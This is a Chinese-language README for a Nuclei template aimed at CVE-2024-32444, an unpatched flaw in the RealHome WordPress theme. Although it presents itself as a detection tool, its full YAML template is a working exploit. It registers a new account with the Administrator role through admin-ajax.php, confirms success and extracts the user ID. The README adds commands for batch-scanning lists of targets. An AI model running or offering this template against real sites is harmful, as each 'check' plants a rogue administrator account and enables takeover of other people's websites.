RealHome WordPress 主题权限提升漏洞检测工具 (CVE-2024-32444)
本项目包含一个 Nuclei 安全检测模板,用于识别存在 CVE-2024-32444 漏洞的 RealHome WordPress 主题站点。该漏洞允许攻击者绕过授权检查,在注册请求中任意指定 “Administrator” 角色,从而获得网站完全控制权。
⚠️ 注意:截至 2025 年 1 月 24 日,此漏洞尚未有官方补丁发布。本模板仅用于产品识别与授权检测,请勿用于非法用途。
功能特性
- 漏洞原理检测:通过模拟注册请求检测 RealHome 主题的
inspiry_ajax_register函数是否缺少权限校验。 - 角色权限绕过验证:验证攻击者是否可在请求中指定
Administrator角色注册。 - 轻量级快速扫描:基于 Nuclei 引擎,支持批量目标检测与结果输出。
- 无补丁产品识别:专门针对尚未修复的 RealHome 系列 WordPress 主题进行识别。
安装指南
系统要求
- 安装了 Nuclei 引擎(v2.9.0 或更高版本)
- 支持 Linux / macOS / Windows
安装步骤
-
下载 Nuclei(如未安装):
# 从 GitHub 下载最新版本 git clone https://github.com/projectdiscovery/nuclei.git cd nuclei go install -
获取检测模板:
# 将本模板文件保存为 template.yaml curl -O https://raw.githubusercontent.com/your-repo/CVE-2024-32444/main/template.yaml -
验证安装:
nuclei -version
使用说明
基础用法
对单个目标网站进行漏洞检测:
nuclei -u https://example.com -t template.yaml
批量检测
对多个目标进行扫描(目标列表每行一个 URL):
nuclei -l targets.txt -t template.yaml -o results.txt
典型输出示例
[INFO] [CVE-2024-32444] RealHome Theme - Privilege Escalation
[TRACE] Detected vulnerable registration endpoint: /wp-admin/admin-ajax.php
[CRITICAL] The target appears to be using RealHome theme without nonce validation.
API 概览(Nuclei 模板结构)
本模板主要检测以下请求路径和参数:
- 请求端点:
/wp-admin/admin-ajax.php - 请求方法:
POST - 测试参数:
action=inspiry_ajax_register+user_role=Administrator - 匹配规则:检查响应是否返回注册成功且角色为管理员的相关特征字符串。
核心代码
以下是 Nuclei 模板的核心检测逻辑(完整 YAML 配置):
id: CVE-2024-32444
info:
name: RealHome Theme - Privilege Escalation
author: qife
severity: critical
description: |
The RealHome WordPress theme allows unauthenticated users to register as
"Administrator" due to missing nonce and capability checks in the
inspiry_ajax_register function. This leads to full site compromise.
reference:
- https://www.bleepingcomputer.com/news/security/critical-zero-days-impact-premium-wordpress-real-estate-plugins/
tags: wordpress,realhome,unauth,cve,cve2024
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=inspiry_ajax_register&user_login={{username}}&user_email={{email}}&user_role=Administrator&user_password={{password}}
attack: pitchfork
payloads:
username:
- "attacker{{randstr}}"
email:
- "attacker{{randstr}}@example.com"
password:
- "P@ssw0rd{{randstr}}"
matchers:
- type: word
part: body
words:
- "success"
- "administrator"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- '"user_id":"(\d+)"'
name: user_id
关键代码注释
| 代码段 | 说明 |
|---|---|
action=inspiry_ajax_register | 触发 RealHome 主题的 AJAX 注册处理函数 |
user_role=Administrator | 尝试绕过角色校验,直接指定管理员权限 |
attack: pitchfork | 并行使用多组随机用户名/邮箱/密码进行测试 |
matchers | 匹配响应中的 “success” 和 “administrator” 关键字,判断是否利用成功 |
extractors | 提取返回的用户 ID,便于进一步验证 |
| 6HFtX5dABrKlqXeO5PUv/0Iuv0EtT6uAedm9/reM5gg= |